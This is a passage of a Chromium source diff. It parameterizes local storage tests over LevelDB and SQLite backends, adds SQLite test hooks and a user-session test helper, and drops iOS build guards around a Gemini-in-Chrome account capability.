   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key));
 }
 
-TEST_F(LocalStorageImplTest, StorageKeysAreIndependent) {
+TEST_P(LocalStorageImplTest, StorageKeysAreIndependent) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com:123");
   blink::StorageKey storage_key2 =
@@ -446,7 +467,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, WrapperOutlivesMojoConnection) {
+TEST_P(LocalStorageImplTest, WrapperOutlivesMojoConnection) {
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
 
@@ -486,7 +507,7 @@
   EXPECT_EQ(std::nullopt, DoTestGet(key));
 }
 
-TEST_F(LocalStorageImplTest, OpeningWrappersPurgesInactiveWrappers) {
+TEST_P(LocalStorageImplTest, OpeningWrappersPurgesInactiveWrappers) {
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
   const blink::StorageKey storage_key(
@@ -523,7 +544,7 @@
   EXPECT_TRUE(base::test::RunUntil([&]() { return !DoTestGet(key); }));
 }
 
-TEST_F(LocalStorageImplTest, ValidVersion) {
+TEST_P(LocalStorageImplTest, ValidVersion) {
   DomStorageDatabase::Key key = StdStringToUint8Vector("key");
   DomStorageDatabase::Value value = StdStringToUint8Vector("value");
 
@@ -538,7 +559,7 @@
   EXPECT_EQ(value, DoTestGet(key));
 }
 
-TEST_F(LocalStorageImplTest, InvalidVersion) {
+TEST_P(LocalStorageImplTest, InvalidVersion) {
   DomStorageDatabase::Key key = StdStringToUint8Vector("key");
   DomStorageDatabase::Value value = StdStringToUint8Vector("value");
 
@@ -555,12 +576,12 @@
   EXPECT_EQ(std::nullopt, DoTestGet(key));
 }
 
-TEST_F(LocalStorageImplTest, GetStorageUsage_NoData) {
+TEST_P(LocalStorageImplTest, GetStorageUsage_NoData) {
   std::vector<mojom::StorageUsageInfoPtr> info = GetStorageUsageSync();
   EXPECT_EQ(0u, info.size());
 }
 
-TEST_F(LocalStorageImplTest, GetStorageUsage_Data) {
+TEST_P(LocalStorageImplTest, GetStorageUsage_Data) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -609,7 +630,7 @@
   EXPECT_GT(info[0]->total_size_bytes, info[1]->total_size_bytes);
 }
 
-TEST_F(LocalStorageImplTest, CheckAccessMetaData) {
+TEST_P(LocalStorageImplTest, CheckAccessMetaData) {
   base::Time before_metadata = base::Time::Now();
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foo.com");
@@ -679,7 +700,7 @@
   EXPECT_GE(after_metadata, usage_metadata->last_accessed.value());
 }
 
-TEST_F(LocalStorageImplTest, MetaDataClearedOnDelete) {
+TEST_P(LocalStorageImplTest, MetaDataClearedOnDelete) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -712,7 +733,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, MetaDataClearedOnDeleteAll) {
+TEST_P(LocalStorageImplTest, MetaDataClearedOnDeleteAll) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -747,7 +768,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, DeleteStorage) {
+TEST_P(LocalStorageImplTest, DeleteStorage) {
   WaitForDatabaseOpen();
 
   PutVersionForTesting(*context()->GetDatabaseForTesting(), 1);
@@ -769,7 +790,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataCount(0u));
 }
 
-TEST_F(LocalStorageImplTest, DeleteStorageWithoutConnection) {
+TEST_P(LocalStorageImplTest, DeleteStorageWithoutConnection) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -814,7 +835,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, DeleteStorageNotifiesWrapper) {
+TEST_P(LocalStorageImplTest, DeleteStorageNotifiesWrapper) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -869,7 +890,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, DeleteStorageWithPendingWrites) {
+TEST_P(LocalStorageImplTest, DeleteStorageWithPendingWrites) {
   blink::StorageKey storage_key1 =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   blink::StorageKey storage_key2 =
@@ -929,7 +950,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, ShutdownClearsData) {
+TEST_P(LocalStorageImplTest, ShutdownClearsData) {
   base::test::ScopedFeatureList scoped_feature_list;
   scoped_feature_list.InitAndEnableFeature(
       net::features::kThirdPartyStoragePartitioning);
@@ -1000,7 +1021,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key2));
 }
 
-TEST_F(LocalStorageImplTest, InMemory) {
+TEST_P(LocalStorageImplTest, InMemory) {
   ResetStorage(base::FilePath());
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
@@ -1016,14 +1037,16 @@
 
   // Should not have created any files.
   ShutDownStorage();
-  EXPECT_TRUE(FirstEntryInDir().empty());
+
+  base::FilePath database_path = GetLocalStorageDatabasePath(storage_path());
+  EXPECT_FALSE(base::PathExists(database_path));
 
   // Re-opening should get fresh data.
   InitializeStorage(base::FilePath());
   EXPECT_FALSE(DoTestGet(key, &result));
 }
 
-TEST_F(LocalStorageImplTest, InMemoryInvalidPath) {
+TEST_P(LocalStorageImplTest, InMemoryInvalidPath) {
   ResetStorage(base::FilePath(FILE_PATH_LITERAL("../../")));
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
@@ -1041,10 +1064,11 @@
   ShutDownStorage();
 
   // Should not have created any files.
-  EXPECT_TRUE(FirstEntryInDir().empty());
+  base::FilePath database_path = GetLocalStorageDatabasePath(storage_path());
+  EXPECT_FALSE(base::PathExists(database_path));
 }
 
-TEST_F(LocalStorageImplTest, OnDisk) {
+TEST_P(LocalStorageImplTest, OnDisk) {
   base::HistogramTester histograms;
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
@@ -1056,9 +1080,9 @@
 
   ShutDownStorage();
 
-  // Should have created files.
-  EXPECT_EQ(base::FilePath(FILE_PATH_LITERAL("Local Storage")),
-            FirstEntryInDir().BaseName());
+  // Writing map entries must create the database on disk.
+  base::FilePath database_path = GetLocalStorageDatabasePath(storage_path());
+  EXPECT_TRUE(base::PathExists(database_path));
 
   // Should be able to re-open.
   InitializeStorage(storage_path());
@@ -1069,7 +1093,7 @@
       leveldb_env::LevelDBStatusValue::LEVELDB_STATUS_OK, 2);
 }
 
-TEST_F(LocalStorageImplTest, InvalidVersionOnDisk) {
+TEST_P(LocalStorageImplTest, InvalidVersionOnDisk) {
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
 
@@ -1099,7 +1123,7 @@
     ASSERT_TRUE(status.ok()) << status.ToString();
 
     // Mess up version number in database.
-    PutVersionForTesting(*database, 7987897897);
+    PutVersionForTesting(*database, 987897897);
   }
 
   // Make sure data is gone.
@@ -1115,7 +1139,7 @@
   EXPECT_EQ(value, result);
 }
 
-TEST_F(LocalStorageImplTest, CorruptionOnDisk) {
+TEST_P(LocalStorageImplTest, CorruptionOnDisk) {
   base::HistogramTester histograms;
   auto key = StdStringToUint8Vector("key");
   auto value = StdStringToUint8Vector("value");
@@ -1127,13 +1151,18 @@
 
   ShutDownStorage();
 
-  // Delete manifest files to mess up opening DB.
   base::FilePath db_path = GetLocalStorageDatabasePath(storage_path());
-  base::FileEnumerator file_enum(db_path, true, base::FileEnumerator::FILES,
-                                 FILE_PATH_LITERAL("MANIFEST*"));
-  for (base::FilePath name = file_enum.Next(); !name.empty();
-       name = file_enum.Next()) {
-    EXPECT_TRUE(base::DeleteFile(name));
+  if (IsSqliteEnabled()) {
+    // Replace the SQLite database file with plain text.
+    ASSERT_TRUE(base::WriteFile(db_path, "Corrupt database"));
+  } else {
+    // Delete manifest files to mess up opening DB.
+    base::FileEnumerator file_enum(db_path, true, base::FileEnumerator::FILES,
+                                   FILE_PATH_LITERAL("MANIFEST*"));
+    for (base::FilePath name = file_enum.Next(); !name.empty();
+         name = file_enum.Next()) {
+      base::DeleteFile(name);
+    }
   }
 
   // Make sure data is gone.
@@ -1147,12 +1176,16 @@
   ResetStorage(storage_path());
   EXPECT_TRUE(DoTestGet(key, &result));
   EXPECT_EQ(value, result);
-  histograms.ExpectBucketCount(
-      "LocalStorage.DatabaseOpen",
-      leveldb_env::LevelDBStatusValue::LEVELDB_STATUS_IO_ERROR, 1);
+
+  if (!IsSqliteEnabled()) {
+    // TODO(crbug.com/377242771): Add histograms to SQLite implementation.
+    histograms.ExpectBucketCount(
+        "LocalStorage.DatabaseOpen",
+        leveldb_env::LevelDBStatusValue::LEVELDB_STATUS_IO_ERROR, 1);
+  }
 }
 
-TEST_F(LocalStorageImplTest, RecreateOnCommitFailure) {
+TEST_P(LocalStorageImplTest, RecreateOnCommitFailure) {
   std::optional<base::RunLoop> open_loop;
   std::optional<base::RunLoop> destruction_loop;
   size_t num_database_open_requests = 0;
@@ -1284,7 +1317,7 @@
   }
 }
 
-TEST_F(LocalStorageImplTest, DontRecreateOnRepeatedCommitFailure) {
+TEST_P(LocalStorageImplTest, DontRecreateOnRepeatedCommitFailure) {
   // Ensure that the opened database always fails on write.
   std::optional<base::RunLoop> open_loop;
   size_t num_database_open_requests = 0;
@@ -1380,8 +1413,13 @@
   EXPECT_TRUE(area.is_connected());
 }
 
-class LocalStorageImplStaleDeletionTest : public LocalStorageImplTest {
+class LocalStorageImplStaleDeletionTest
+    : public testing::WithParamInterface</*is_sqlite_enabled=*/bool>,
+      public LocalStorageImplTestBase {
  public:
+  LocalStorageImplStaleDeletionTest() : LocalStorageImplTestBase(GetParam()) {}
+  ~LocalStorageImplStaleDeletionTest() override = default;
+
   void UpdateAccessMetaData(const blink::StorageKey& storage_key,
                             const base::Time& last_accessed) {
     DomStorageDatabase::Metadata access_metadata;
@@ -1409,7 +1447,17 @@
   }
 };
 
-TEST_F(LocalStorageImplStaleDeletionTest, StaleStorageAreaDeletion) {
+INSTANTIATE_TEST_SUITE_P(
+    /*no prefix*/,
+    LocalStorageImplStaleDeletionTest,
+    testing::Bool(),
+    /*name_generator=*/
+    [](const testing::TestParamInfo<
+        LocalStorageImplStaleDeletionTest::ParamType>& info) {
+      return info.param ? "SQLite" : "LevelDB";
+    });
+
+TEST_P(LocalStorageImplStaleDeletionTest, StaleStorageAreaDeletion) {
   DomStorageDatabase::Key key = StdStringToUint8Vector("key");
   DomStorageDatabase::Value value = StdStringToUint8Vector("value");
 
@@ -1499,7 +1547,7 @@
   ASSERT_NO_FATAL_FAILURE(ExpectUsageMetadataExists(storage_key5));
 }
 
-TEST_F(LocalStorageImplStaleDeletionTest, Orphan) {
+TEST_P(LocalStorageImplStaleDeletionTest, Orphan) {
   DomStorageDatabase::Key key = StdStringToUint8Vector("key");
   DomStorageDatabase::Value value = StdStringToUint8Vector("value");
 
diff --git a/components/services/storage/dom_storage/sqlite/local_storage_sqlite.cc b/components/services/storage/dom_storage/sqlite/local_storage_sqlite.cc
index e7b2928..8e9d28a 100644
--- a/components/services/storage/dom_storage/sqlite/local_storage_sqlite.cc
+++ b/components/services/storage/dom_storage/sqlite/local_storage_sqlite.cc
@@ -98,7 +98,11 @@
 
 LocalStorageSqlite::LocalStorageSqlite(PassKey) {}
 
-LocalStorageSqlite::~LocalStorageSqlite() = default;
+LocalStorageSqlite::~LocalStorageSqlite() {
+  if (destruction_callback_for_testing_) {
+    std::move(destruction_callback_for_testing_).Run();
+  }
+}
 
 DbStatus LocalStorageSqlite::Open(
     PassKey,
@@ -156,25 +160,35 @@
     const std::optional<MapBatchUpdate::Usage>& map_usage =
         map_update.map_usage;
 
-    // Insert or update the map's metadata.  This creates the map row if it
-    // doesn't exist, assigning a `map_id` (`row_id`) to new maps.
-    // `LocalStorageSqlite` expects a new map's first update to create its
-    // `map_id` through the function call below.
-    DB_RETURN_IF_ERROR(PutMapMetadata(
-        storage_key, map_usage ? map_usage->last_accessed() : std::nullopt,
-        map_usage ? map_usage->last_modified() : std::nullopt,
-        map_usage ? map_usage->total_size() : std::nullopt));
+    std::optional<int64_t> map_id;
 
-    // If requested, clear all usage metadata fields by setting them to `NULL`.
-    // The map row itself is preserved to keep the same `map_id` for the storage
-    // key.
+    // If requested, delete the map's metadata.
     if (map_usage && map_usage->should_delete_all_usage()) {
-      DB_RETURN_IF_ERROR(DeleteMapUsageMetadata(storage_key))
-    }
+      // A map with key/value pairs must provide usage metadata.
+      CHECK(map_update.entries_to_add.empty());
 
-    // Look up the `map_id` (`row_id`) for this storage key. The map row must
-    // exist since `PutMapMetadata()` creates it above when necessary.
-    ASSIGN_OR_RETURN(std::optional<int64_t> map_id, FindMapId(storage_key));
+      // Look up the `map_id` (`row_id`) for this storage key.  The `map_id`
+      // might not exist when clearing a map that is already empty.
+      ASSIGN_OR_RETURN(map_id, FindMapId(storage_key));
+      if (!map_id) {
+        continue;
+      }
+
+      DB_RETURN_IF_ERROR(DeleteMapMetadata({storage_key}));
+    } else {
+      // Insert or update the map's metadata.  This creates the map row if it
+      // doesn't exist, assigning a `map_id` (`row_id`) to new maps.
+      // `LocalStorageSqlite` expects a new map's first update to create its
+      // `map_id` through the function call below.
+      DB_RETURN_IF_ERROR(PutMapMetadata(
+          storage_key, map_usage ? map_usage->last_accessed() : std::nullopt,
+          map_usage ? map_usage->last_modified() : std::nullopt,
+          map_usage ? map_usage->total_size() : std::nullopt));
+
+      // Find the `map_id`, which must exist since `PutMapMetadata()` creates it
+      // above when necessary.
+      ASSIGN_OR_RETURN(map_id, FindMapId(storage_key));
+    }
 
     // Update `map_locator` with the assigned `map_id` so that
     // `MapEntriesTable::UpdateMap()` can use `map_id` to write key/value pairs.
@@ -186,6 +200,10 @@
     DB_RETURN_IF_ERROR(map_entries_table_->UpdateMap(std::move(map_update)));
   }
 
+  if (should_fail_commits_for_testing_) {
+    return DbStatus::IOError("Simulated I/O Error");
+  }
+
   RETURN_STATUS_ON_ERROR(transaction.Commit());
   return DbStatus::OK();
 }
@@ -243,6 +261,10 @@
         map_metadata.last_modified, map_metadata.total_size));
   }
 
+  if (should_fail_commits_for_testing_) {
+    return DbStatus::IOError("Simulated I/O Error");
+  }
+
   RETURN_STATUS_ON_ERROR(transaction.Commit());
   return DbStatus::OK();
 }
@@ -259,18 +281,7 @@
   sql::Transaction transaction(database_.get());
   RETURN_STATUS_ON_ERROR(transaction.Begin());
 
-  // Delete each storage key's metadata from the `maps` table.
-  constexpr const char kDeleteMapMetadata[] =
-      "DELETE FROM maps WHERE storage_key = ?";
-
-  sql::Statement delete_metadata_statement(
-      database_->GetCachedStatement(SQL_FROM_HERE, kDeleteMapMetadata));
-
-  for (const blink::StorageKey& storage_key : metadata_to_delete) {
-    delete_metadata_statement.BindBlob(0, storage_key.Serialize());
-    RETURN_STATUS_ON_ERROR(delete_metadata_statement.Run());
-    delete_metadata_statement.Reset(/*clear_bound_vars=*/true);
-  }
+  DB_RETURN_IF_ERROR(DeleteMapMetadata(metadata_to_delete));
 
   // Delete the key/value pairs in `maps_to_delete`.
   for (const MapLocator& map : maps_to_delete) {
@@ -309,16 +320,12 @@
 }
 
 void LocalStorageSqlite::MakeAllCommitsFailForTesting() {
-  // TODO(crbug.com/377242771): Fully implement `DomStorageDatabase` interface
-  // using SQLite.
-  NOTREACHED();
+  should_fail_commits_for_testing_ = true;
 }
 
 void LocalStorageSqlite::SetDestructionCallbackForTesting(
     base::OnceClosure callback) {
-  // TODO(crbug.com/377242771): Fully implement `DomStorageDatabase` interface
-  // using SQLite.
-  NOTREACHED();
+  destruction_callback_for_testing_ = std::move(callback);
 }
 
 DbStatus LocalStorageSqlite::PutVersionForTesting(int64_t version) {
@@ -397,24 +404,22 @@
   return DbStatus::OK();
 }
 
-DbStatus LocalStorageSqlite::DeleteMapUsageMetadata(
-    const blink::StorageKey& storage_key) {
+DbStatus LocalStorageSqlite::DeleteMapMetadata(
+    const std::vector<blink::StorageKey>& metadata_to_delete) {
   CHECK(database_->HasActiveTransactions());
 
-  // Delete the usage metadata by setting all fields to `NULL`.
-  constexpr const char kDeleteUsage[] =
-      // clang-format off
-      "UPDATE maps "
-      "SET "
-        "last_accessed = NULL,"
-        "last_modified = NULL,"
-        "total_size = NULL "
-      "WHERE storage_key = ?";
-  // clang-format on
+  // Delete each storage key's metadata from the `maps` table.
+  constexpr const char kDeleteMapMetadata[] =
+      "DELETE FROM maps WHERE storage_key = ?";
 
   sql::Statement delete_statement(
-      database_->GetCachedStatement(SQL_FROM_HERE, kDeleteUsage));
-  delete_statement.BindBlob(0, storage_key.Serialize());
+      database_->GetCachedStatement(SQL_FROM_HERE, kDeleteMapMetadata));
+
+  for (const blink::StorageKey& storage_key : metadata_to_delete) {
+    delete_statement.BindBlob(0, storage_key.Serialize());
+    RETURN_STATUS_ON_ERROR(delete_statement.Run());
+    delete_statement.Reset(/*clear_bound_vars=*/true);
+  }
 
   RETURN_STATUS_ON_ERROR(delete_statement.Run());
   return DbStatus::OK();
diff --git a/components/services/storage/dom_storage/sqlite/local_storage_sqlite.h b/components/services/storage/dom_storage/sqlite/local_storage_sqlite.h
index e5864c4..23470b6 100644
--- a/components/services/storage/dom_storage/sqlite/local_storage_sqlite.h
+++ b/components/services/storage/dom_storage/sqlite/local_storage_sqlite.h
@@ -88,15 +88,22 @@
                           std::optional<base::Time> last_modified,
                           std::optional<base::ByteSize> total_size);
 
-  // Clears the usage metadata (last accessed, last modified, and total size)
-  // for the map identified by `storage_key` by setting all fields to `NULL`.
-  // The row in the `maps` table is preserved so the `map_id` remains valid.
-  DbStatus DeleteMapUsageMetadata(const blink::StorageKey& storage_key);
+  // Deletes the metadata rows from the `maps` table for each storage key in
+  // `metadata_to_delete`. The caller must begin a database transaction before
+  // calling this function.
+  DbStatus DeleteMapMetadata(
+      const std::vector<blink::StorageKey>& metadata_to_delete);
 
   // `Open()` creates `database_`, `meta_table_` and `map_entries_table_`.
   std::unique_ptr<sql::Database> database_;
   std::unique_ptr<sql::MetaTable> meta_table_;
   std::unique_ptr<MapEntriesTable> map_entries_table_;
+
+  // Simulates I/O failure in `PutMetadata()` and `UpdateMaps()` by force
+  // returning an IOError. Set to true by `MakeAllCommitsFailForTesting()`.
+  bool should_fail_commits_for_testing_ = false;
+
+  base::OnceClosure destruction_callback_for_testing_;
 };
 
 }  // namespace storage
diff --git a/components/services/storage/dom_storage/sqlite/local_storage_sqlite_unittest.cc b/components/services/storage/dom_storage/sqlite/local_storage_sqlite_unittest.cc
index a14e080..adf2390f 100644
--- a/components/services/storage/dom_storage/sqlite/local_storage_sqlite_unittest.cc
+++ b/components/services/storage/dom_storage/sqlite/local_storage_sqlite_unittest.cc
@@ -483,9 +483,9 @@
       UpdateMapWithMetadata(*database, kExpectedMapMetadata));
 }
 
-// Verifies that `UpdateMaps()` with `DeleteAllUsage()` clears all usage
-// metadata fields (`last_accessed`, `last_modified`, `total_size`) while
-// preserving the map row itself in the database.
+// Verifies that `UpdateMaps()` with `DeleteAllUsage()` removes the map row
+// from the database entirely, including all usage metadata fields
+// (`last_accessed`, `last_modified`, `total_size`).
 TEST_F(LocalStorageSqliteTest, UpdateMapsClearsMetadata) {
   std::unique_ptr<LocalStorageSqlite> database;
   ASSERT_NO_FATAL_FAILURE(OpenInMemory(&database));
@@ -499,7 +499,8 @@
   ASSERT_NO_FATAL_FAILURE(
       UpdateMapWithMetadata(*database, kInitialMapMetadata));
 
-  // Use `UpdateMaps()` to delete the map usage metadata from the database.
+  // Use `UpdateMaps()` with `DeleteAllUsage()` to delete the map row from the
+  // database.
   std::vector<DomStorageDatabase::MapBatchUpdate> delete_metadata_update;
   delete_metadata_update.emplace_back(kInitialMapMetadata.map_locator.Clone());
 
@@ -510,20 +511,12 @@
   DbStatus status = database->UpdateMaps(std::move(delete_metadata_update));
   EXPECT_TRUE(status.ok()) << status.ToString();
 
-  // Verify the map row still exists but all usage metadata is cleared.
+  // Verify the map row has been deleted from the database.
   ASSERT_OK_AND_ASSIGN(DomStorageDatabase::Metadata all_metadata,
                        database->ReadAllMetadata());
 
   EXPECT_EQ(all_metadata.next_map_id, std::nullopt);
-  ASSERT_EQ(all_metadata.map_metadata.size(), 1u);
-
-  const DomStorageDatabase::MapMetadata& cleared_metadata =
-      all_metadata.map_metadata[0];
-  ExpectEqualsMapLocator(cleared_metadata.map_locator,
-                         kInitialMapMetadata.map_locator);
-  EXPECT_EQ(cleared_metadata.last_accessed, std::nullopt);
-  EXPECT_EQ(cleared_metadata.last_modified, std::nullopt);
-  EXPECT_EQ(cleared_metadata.total_size, std::nullopt);
+  EXPECT_EQ(all_metadata.map_metadata.size(), 0u);
 }
 
 // Verifies that `DeleteStorageKeysFromSession()` correctly removes metadata
diff --git a/components/session_manager/test/BUILD.gn b/components/session_manager/test/BUILD.gn
new file mode 100644
index 0000000..abd51e03c
--- /dev/null
+++ b/components/session_manager/test/BUILD.gn
@@ -0,0 +1,20 @@
+# Copyright 2026 The Chromium Authors
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+static_library("test_support") {
+  testonly = true
+
+  sources = [
+    "test_user_session_manager.cc",
+    "test_user_session_manager.h",
+  ]
+
+  deps = [
+    "//base",
+    "//components/session_manager/core",
+    "//components/session_manager/core:test_support",
+    "//components/user_manager",
+    "//components/user_manager:test_support",
+  ]
+}
diff --git a/components/session_manager/test/DEPS b/components/session_manager/test/DEPS
new file mode 100644
index 0000000..9b13a1a
--- /dev/null
+++ b/components/session_manager/test/DEPS
@@ -0,0 +1,4 @@
+include_rules = [
+  "+components/user_manager",
+  "+components/session_manager/core",
+]
diff --git a/components/session_manager/test/test_user_session_manager.cc b/components/session_manager/test/test_user_session_manager.cc
new file mode 100644
index 0000000..91c51e7
--- /dev/null
+++ b/components/session_manager/test/test_user_session_manager.cc
@@ -0,0 +1,57 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/session_manager/test/test_user_session_manager.h"
+
+#include <memory>
+
+#include "base/check.h"
+#include "components/session_manager/core/fake_session_manager_delegate.h"
+#include "components/session_manager/core/session_manager.h"
+#include "components/user_manager/fake_user_manager_delegate.h"
+#include "components/user_manager/test_helper.h"
+#include "components/user_manager/user_manager.h"
+#include "components/user_manager/user_manager_impl.h"
+
+namespace ash::test {
+
+TestUserSessionManager::TestUserSessionManager(PrefService* local_state)
+    : user_manager_(std::make_unique<user_manager::UserManagerImpl>(
+          std::make_unique<user_manager::FakeUserManagerDelegate>(),
+          local_state)),
+      session_manager_(std::make_unique<session_manager::SessionManager>(
+          std::make_unique<session_manager::FakeSessionManagerDelegate>())) {
+  session_manager_->OnUserManagerCreated(user_manager_.Get());
+}
+
+TestUserSessionManager::~TestUserSessionManager() = default;
+
+void TestUserSessionManager::RegisterLocalStatePrefs(
+    PrefRegistrySimple* registry) {
+  user_manager::UserManager::RegisterPrefs(registry);
+}
+
+user_manager::User* TestUserSessionManager::AddRegularUser(
+    const AccountId& account_id) {
+  CHECK(session_manager_->sessions().empty());
+  return user_manager::TestHelper(user_manager_.Get())
+      .AddRegularUser(account_id);
+}
+
+user_manager::User* TestUserSessionManager::AddKioskChromeAppUser(
+    std::string_view user_id) {
+  CHECK(session_manager_->sessions().empty());
+  return user_manager::TestHelper(user_manager_.Get())
+      .AddKioskChromeAppUser(user_id);
+}
+
+void TestUserSessionManager::LogIn(const AccountId& account_id, bool new_user) {
+  session_manager_->CreateSession(
+      account_id, user_manager::TestHelper::GetFakeUsernameHash(account_id),
+      new_user,
+      /*has_active_session=*/false);
+  session_manager_->SessionStarted();
+}
+
+}  // namespace ash::test
diff --git a/components/session_manager/test/test_user_session_manager.h b/components/session_manager/test/test_user_session_manager.h
new file mode 100644
index 0000000..02df1b8b
--- /dev/null
+++ b/components/session_manager/test/test_user_session_manager.h
@@ -0,0 +1,56 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_SESSION_MANAGER_TEST_TEST_USER_SESSION_MANAGER_H_
+#define COMPONENTS_SESSION_MANAGER_TEST_TEST_USER_SESSION_MANAGER_H_
+
+#include <memory>
+#include <string_view>
+
+#include "components/user_manager/scoped_user_manager.h"
+
+class AccountId;
+class PrefRegistrySimple;
+class PrefService;
+
+namespace session_manager {
+class SessionManager;
+}  // namespace session_manager
+
+namespace user_manager {
+class User;
+}  // namespace user_manager
+
+namespace ash::test {
+
+// Maintains UserManager and SessionManager for testing.
+// It also provides several methods for the common testing operations.
+class TestUserSessionManager {
+ public:
+  // `local_state` must not be nullptr and must outlive this instance.
+  explicit TestUserSessionManager(PrefService* local_state);
+  TestUserSessionManager(const TestUserSessionManager&) = delete;
+  TestUserSessionManager& operator=(const TestUserSessionManager&) = delete;
+  ~TestUserSessionManager();
+
+  // Registers LocalState's prefs that this test utility uses.
+  static void RegisterLocalStatePrefs(PrefRegistrySimple* registry);
+
+  // Following methods add a user. They must be called *ANY* of LogIn call.
+  // Returns nullptr on error, so callers should check it always.
+  [[nodiscard]] user_manager::User* AddRegularUser(const AccountId& account_id);
+  [[nodiscard]] user_manager::User* AddKioskChromeAppUser(
+      std::string_view user_id);
+
+  // Logs in to a new user session with the user specified by `account_id`.
+  void LogIn(const AccountId& account_id, bool new_user = false);
+
+ private:
+  user_manager::ScopedUserManager user_manager_;
+  std::unique_ptr<session_manager::SessionManager> session_manager_;
+};
+
+}  // namespace ash::test
+
+#endif  // COMPONENTS_SESSION_MANAGER_TEST_TEST_USER_SESSION_MANAGER_H_
diff --git a/components/signin/internal/identity_manager/account_capabilities_list.h b/components/signin/internal/identity_manager/account_capabilities_list.h
index e6eb5b7..e7a79b2e 100644
--- a/components/signin/internal/identity_manager/account_capabilities_list.h
+++ b/components/signin/internal/identity_manager/account_capabilities_list.h
@@ -86,11 +86,9 @@
                    "accountcapabilities/gezdsmbnmnqxa")
 #endif
 
-#if !BUILDFLAG(IS_IOS)
 ACCOUNT_CAPABILITY(kCanUseGeminiInChromeCapabilityName,
                    CAN_USE_GEMINI_IN_CHROME_CAPABILITY_NAME,
                    "accountcapabilities/giytmnrnmnqxa")
-#endif
 
 #if BUILDFLAG(IS_CHROMEOS)
 ACCOUNT_CAPABILITY(kCanUseGenerativeAiInRecorderApp,
diff --git a/components/signin/public/identity_manager/account_capabilities.cc b/components/signin/public/identity_manager/account_capabilities.cc
index 71d1dbad..ce59de07 100644
--- a/components/signin/public/identity_manager/account_capabilities.cc
+++ b/components/signin/public/identity_manager/account_capabilities.cc
@@ -149,11 +149,9 @@
 }
 #endif
 
-#if !BUILDFLAG(IS_IOS)
 signin::Tribool AccountCapabilities::can_use_gemini_in_chrome() const {
   return GetCapabilityByName(kCanUseGeminiInChromeCapabilityName);
 }
-#endif
 
 #if BUILDFLAG(IS_CHROMEOS)
 signin::Tribool AccountCapabilities::can_use_generative_ai_in_recorder_app()
diff --git a/components/signin/public/identity_manager/account_capabilities.h b/components/signin/public/identity_manager/account_capabilities.h
index b296b40..a07cfa3 100644
--- a/components/signin/public/identity_manager/account_capabilities.h
+++ b/components/signin/public/identity_manager/account_capabilities.h
@@ -106,10 +106,8 @@
   signin::Tribool can_use_edu_features() const;
 #endif
 
-#if !BUILDFLAG(IS_IOS)
   // The user account is able to use Gemini in Chrome.
   signin::Tribool can_use_gemini_in_chrome() const;
-#endif
 
 #if BUILDFLAG(IS_CHROMEOS)
   // The user account is able to use generative AI in recorder app.
diff --git a/components/signin/public/identity_manager/account_capabilities_test_mutator.cc b/components/signin/public/identity_manager/account_capabilities_test_mutator.cc
index 58d537d..9ca6456d 100644
--- a/components/signin/public/identity_manager/account_capabilities_test_mutator.cc
+++ b/components/signin/public/identity_manager/account_capabilities_test_mutator.cc
@@ -91,11 +91,9 @@
 }
 #endif
 
-#if !BUILDFLAG(IS_IOS)
 void AccountCapabilitiesTestMutator::set_can_use_gemini_in_chrome(bool value) {
   capabilities_->capabilities_map_[kCanUseGeminiInChromeCapabilityName] = value;
 }
-#endif
 
 #if BUILDFLAG(IS_CHROMEOS)
 void AccountCapabilitiesTestMutator::set_can_use_generative_ai_in_recorder_app(
diff --git a/components/signin/public/identity_manager/account_capabilities_test_mutator.h b/components/signin/public/identity_manager/account_capabilities_test_mutator.h
index e7128088..60a36492 100644
--- a/components/signin/public/identity_manager/account_capabilities_test_mutator.h
+++ b/components/signin/public/identity_manager/account_capabilities_test_mutator.h
@@ -48,9 +48,7 @@
 #if !BUILDFLAG(IS_IOS)
   void set_can_use_edu_features(bool value);
 #endif
-#if !BUILDFLAG(IS_IOS)
   void set_can_use_gemini_in_chrome(bool value);
-#endif
 #if BUILDFLAG(IS_CHROMEOS)
